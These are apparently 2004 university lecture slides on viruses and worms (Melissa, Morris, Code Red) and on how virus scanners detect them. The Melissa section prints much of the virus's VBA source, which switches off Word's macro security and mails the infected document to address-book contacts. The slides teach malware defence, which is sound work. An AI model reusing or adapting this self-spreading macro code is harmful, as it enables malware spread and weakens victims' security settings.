



CSE331: Introduction to Networks and Security

Lecture 29

Fall 2004



Announcements

- Project 4 is on the web.
- There will be class on Wednesday
 - Cover material not in the main stream

Melissa Macro Virus

- Implementation
 - VBA (Visual Basic for Applications) code associated with the "document.open" method of Word
- Strategy
 - Email message containing an infected Word document as an attachment
 - Opening Word document triggers virus if macros are enabled
 - Under certain conditions included attached documents created by the victim



Melissa Macro Virus: Behavior

- Setup
 - lowers the macro security settings
 - permit all macros to run without warning
 - Checks registry for key value “... by Kwyjibo”
 - **HKEY_Current_User\Software\Microsoft\Office\Melissa?**
- Propagation
 - sends email message to the first 50 entries in every Microsoft Outlook MAPI address book readable by the user executing the macro



Melissa Macro Virus: Behavior

- Propagation Continued
 - Infects Normal.doc template file
 - Normal.doc is used by all Word documents
- “Joke”
 - If minute matches the day of the month, the macro inserts message “Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here.”

```
// Melissa Virus Source Code
```

```
Private Sub Document_Open()
```

```
On Error Resume Next
```

```
If System.PrivateProfileString("",
```

```
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security",
```

```
"Level") <> ""
```

```
Then
```

```
    CommandBars("Macro").Controls("Security...").Enabled = False
```

```
    System.PrivateProfileString("",
```

```
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security",
```

```
"Level") = 1&
```

```
Else
```

```
    CommandBars("Tools").Controls("Macro").Enabled = False
```

```
    Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
```

```
    Options.SaveNormalPrompt = (1 - 1)
```

```
End If
```

```
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
```

```
Set UngaDasOutlook = CreateObject("Outlook.Application")
```

```
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
```

```
If System.PrivateProfileString("",  
    "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo"  
Then  
If UngaDasOutlook = "Outlook" Then  
    DasMapiName.Logon "profile", "password"  
    For y = 1 To DasMapiName.AddressLists.Count  
        Set AddyBook = DasMapiName.AddressLists(y)  
        x = 1  
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)  
        For oo = 1 To AddyBook.AddressEntries.Count  
            Peep = AddyBook.AddressEntries(x)  
            BreakUmOffASlice.Recipients.Add Peep  
            x = x + 1  
            If x > 50 Then oo = AddyBook.AddressEntries.Count  
        Next oo  
        BreakUmOffASlice.Subject = "Important Message From " &  
            Application.UserName  
        BreakUmOffASlice.Body = "Here is that document you asked for ... don't  
            show anyone else ;-)"  
        BreakUmOffASlice.Attachments.Add ActiveDocument.FullName  
        BreakUmOffASlice.Send  
        Peep = ""  
    Next y  
    DasMapiName.Logoff  
End If
```



Morris Internet Worm

- November 2, 1988
- Infected around 6,000 major Unix machines
- Cost of the damage at \$10m - \$100m
- Robert T. Morris Jr. unleashed Internet worm
 - Graduate student at Cornell University
 - Convicted in 1990 of violating Computer Fraud and Abuse Act
 - \$10,000 fine, 3 yr. Suspended jail sentence, 400 hours of community service
 - Son of the chief scientist at the National Computer Security Center -- part of the National Security Agency
 - Today he's a professor at MIT



The Morris Worm Did Not:

- Alter or destroy files
- Save or transmit the passwords which it cracked
- Make special attempts to gain root or superuser access in a system (and didn't utilize the privileges if it managed to get them).
- Place copies of itself or other programs into memory to be executed at a later time. (Such programs are commonly referred to as timebombs.)
- Attack machines other than Sun 3 systems and VAX computers running 4 BSD Unix (or equivalent).
- Attack machines that were not attached to the internet.
- Travel from machine to machine via disk.
- Cause physical damage to computer systems.

Morris Worm Transmission

- Find user accounts on the target machine
 - Dictionary attack on /etc/passwd
 - If it found a match, it would log in and try the same username/password on other local machines
- Exploit bug in **fingerd**
 - Classic buffer overflow attack
- Exploit *trapdoor* in **sendmail**
 - Programmer left DEBUG mode in sendmail, which allowed sendmail to execute an arbitrary shell command string.

Morris Worm Infection

- Sent a small loader to target machine
 - 99 lines of C code
 - It was compiled on the remote platform (cross platform compatibility)
 - The loader program transferred the rest of the worm from the infected host to the new target.
 - Used authentication! To prevent sys admins from tampering with loaded code.
 - If there was a transmission error, the loader would erase its tracks and exit.

Morris Worm Stealth/DoS

- When loader obtained full code
 - It put into main memory and encrypted
 - Original copies were deleted from disk
 - (Even memory dump wouldn't expose worm)
- Worm periodically changed its name and process ID
- Resource exhaustion
 - Denial of service
 - There was a bug in the loader program that caused many copies of the worm to be spawned per host
- System administrators cut their network connections
 - Couldn't use internet to exchange fixes!

Code Red Worm (July 2001)

- Exploited buffer overflow vulnerability in IIS Indexing Service DLL
- Attack Sequence:
 - The victim host is scanned for TCP port 80.
 - The attacking host sends the exploit string to the victim.
 - The worm, now executing on the victim host, checks for the existence of c:\notworm. If found, the worm ceases execution.
 - If c:\notworm is not found, the worm begins spawning threads to scan random IP addresses for hosts listening on TCP port 80, exploiting any vulnerable hosts it finds.
 - If the victim host's default language is English, then after 100 scanning threads have started and a certain period of time has elapsed following infection, all web pages served by the victim host are defaced with the message,

Code Red Analysis

- <http://www.caida.org/analysis/security/code-red/>
- <http://www.caida.org/analysis/security/code-red/newframes-small-log.gif>
- In less than 14 hours, 359,104 hosts were compromised.
- Attempted to launch a Denial of Service (DoS) attack against `www1.whitehouse.gov`,
 - Attacked the IP address of the server, rather than the domain name
 - Checked to make sure that port 80 was active before launching the denial of service phase of the attack.
 - These features made it trivially easy to disable the Denial of Service (phase 2) portion of the attack.
 - We cannot expect such weaknesses in the design of future attacks.



Detecting Viruses

- Scanning
- Integrity checking
- Heuristic detection



Virus Signatures

- Viruses can't be completely invisible:
 - Code must be stored somewhere
 - Virus must do something when it runs
- Fragments of the virus code itself
 - Strings “kindly check the attached LOVELETTER”
- Effects on the computing environment
 - Changes to the Windows registry
- Propagation Behavior
 - Copying/modifying system files.

Virus Scanners

- Search the system for virus signatures
 - Main memory
 - All files in file system
 - Should also check boot sector
- When to scan?
 - On access (when a program is run)
 - On demand (at user's request, or scheduled)
 - When e-mail is received?
 - Before web content is displayed?



Virus Scanning: Pros & Cons

- Pros
 - Effectively detects *known* viruses before they can cause harm
 - Few false alarms
- Cons
 - Can detect only viruses with known signatures
 - Signature set must be kept up to date
 - Virus writers can easily change virus signatures



Integrity Checks

- Virus scanner computes hash or checksum of executable files
 - Assumed to be virus free!
 - Stores the hash information
- Verifies new hash vs. saved one during scan



Integrity Checks: Pros & Cons

- Pros
 - Can detect corruption of executables too
 - Reliable
 - Doesn't require virus signatures
- Cons
 - False positives (i.e. recompilation)
 - Can't use it on documents (they change too often)
 - Not supported by most vendors



Heuristic Detection

- Collection of ad hoc rules that identifies virus behavior or virus-like programs
 - Modification of system executables
 - Modification of “template documents” like normal.doc
 - Self-modifying and self-referential code
 - ...



Heuristics: Pros & Cons

- Pros
 - Perhaps able to detect unknown viruses
- Cons
 - Heuristics are hard to develop
 - Too many false positives